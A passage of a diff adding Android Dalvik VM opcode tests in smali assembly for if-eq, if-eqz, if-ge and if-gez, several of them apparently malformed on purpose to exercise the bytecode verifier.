+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali
new file mode 100644
index 0000000..6515117
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali

@@ -0,0 +1,23 @@
+.source "T_if_eq_10.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-eq v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali
new file mode 100644
index 0000000..9c3a0e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali

@@ -0,0 +1,26 @@
+.source "T_if_eq_11.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)V
+.registers 8
+
+       if-eq v6, v7, :Label10
+       const/4 v6, 0
+       return-void
+
+:Label10
+       const v6, 1
+       nop
+       nop
+       const/4 v6, 1
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali
new file mode 100644
index 0000000..656cf8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_12.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali
new file mode 100644
index 0000000..fa7998a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_2.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali
new file mode 100644
index 0000000..11f4aa7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_eq_3.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali
new file mode 100644
index 0000000..cb6e704
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_4.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali
new file mode 100644
index 0000000..7ecfecb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_5.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v8, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali
new file mode 100644
index 0000000..b5f372f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_eq_6.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-eq v6, v8, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali
new file mode 100644
index 0000000..a99364c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_7.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-eq v5, v6, :Label11
+       const/16 v5, 1234
+:Label10
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali
new file mode 100644
index 0000000..ccdf4cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_8.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-eq v5, v7, :Label11
+       const/16 v5, 1234
+:Label10
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali
new file mode 100644
index 0000000..f9fa721
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_9.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_9.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ILjava/lang/String;)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali
new file mode 100644
index 0000000..497b4b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_1.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_1.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali
new file mode 100644
index 0000000..4462f28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_10.smali

@@ -0,0 +1,24 @@
+.source "T_if_eqz_10.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali
new file mode 100644
index 0000000..22ebc02
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_11.smali

@@ -0,0 +1,23 @@
+.source "T_if_eqz_11.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali
new file mode 100644
index 0000000..2ef94d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_2.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_2.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali
new file mode 100644
index 0000000..53ab7e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_3.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_3.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali
new file mode 100644
index 0000000..1dd00a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_4.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_4.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-eqz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali
new file mode 100644
index 0000000..86fb7da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_5.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_5.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-eqz v6, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali
new file mode 100644
index 0000000..add8e64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_6.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_6.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       if-eqz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali
new file mode 100644
index 0000000..89aecb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_7.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_7.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-eqz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali
new file mode 100644
index 0000000..36a53f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eqz/d/T_if_eqz_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_eqz_9.java"
+.class  public Ldot/junit/opcodes/if_eqz/d/T_if_eqz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-eqz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali
new file mode 100644
index 0000000..50c81ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_ge_1.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali
new file mode 100644
index 0000000..8514de0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_10.smali

@@ -0,0 +1,24 @@
+.source "T_if_ge_10.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ge v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali
new file mode 100644
index 0000000..8c5452e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_11.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_ge_11.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali
new file mode 100644
index 0000000..e0119b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_2.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_ge_2.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali
new file mode 100644
index 0000000..97f2470
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_3.smali

@@ -0,0 +1,23 @@
+.source "T_if_ge_3.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali
new file mode 100644
index 0000000..bd168a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_ge_4.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali
new file mode 100644
index 0000000..58830d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_ge_5.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-ge v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali
new file mode 100644
index 0000000..9fd011f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_ge_6.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-ge v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali
new file mode 100644
index 0000000..ec59e3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali

@@ -0,0 +1,23 @@
+.source "T_if_ge_7.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali
new file mode 100644
index 0000000..8b927c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_ge_9.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ge v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali
new file mode 100644
index 0000000..4c2c5e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_1.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali
new file mode 100644
index 0000000..52f84d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali

@@ -0,0 +1,23 @@
+.source "T_if_gez_10.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali
new file mode 100644
